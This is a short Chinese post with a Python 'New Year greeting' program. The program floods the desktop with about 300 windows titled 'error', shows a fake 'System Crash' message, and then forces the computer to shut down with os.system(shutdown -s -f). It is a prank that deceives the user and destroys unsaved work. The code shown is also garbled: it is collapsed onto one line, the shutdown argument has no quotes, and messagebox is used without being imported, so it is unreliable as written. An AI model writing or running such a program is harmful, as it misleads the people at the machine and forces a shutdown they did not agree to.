使用os tkinter random threading time库运行结果为在桌面上弹出新年快乐
代码
import os import tkinter as tk import random import threading import time def boom(): window = tk.Tk() width = window.winfo_screenwidth() height = window.winfo_screenheight() a = random.randrange(0, width) b = random.randrange(0, height) window.title('error') window.geometry("200x50" + "+" + str(a) + "+" + str(b)) tk.Label(window, text='新年快乐!', bg='red', font=('楷体', 17), width=20, height=4).pack() window.mainloop() def sd(): tk.messagebox.showerror('System Crash','windows error!please try again!') for i in range(100): threading.Thread(target=boom).start() threading.Thread(target=boom).start() threading.Thread(target=boom).start() threading.Thread(target=sd).start() os.system(shutdown -s -f)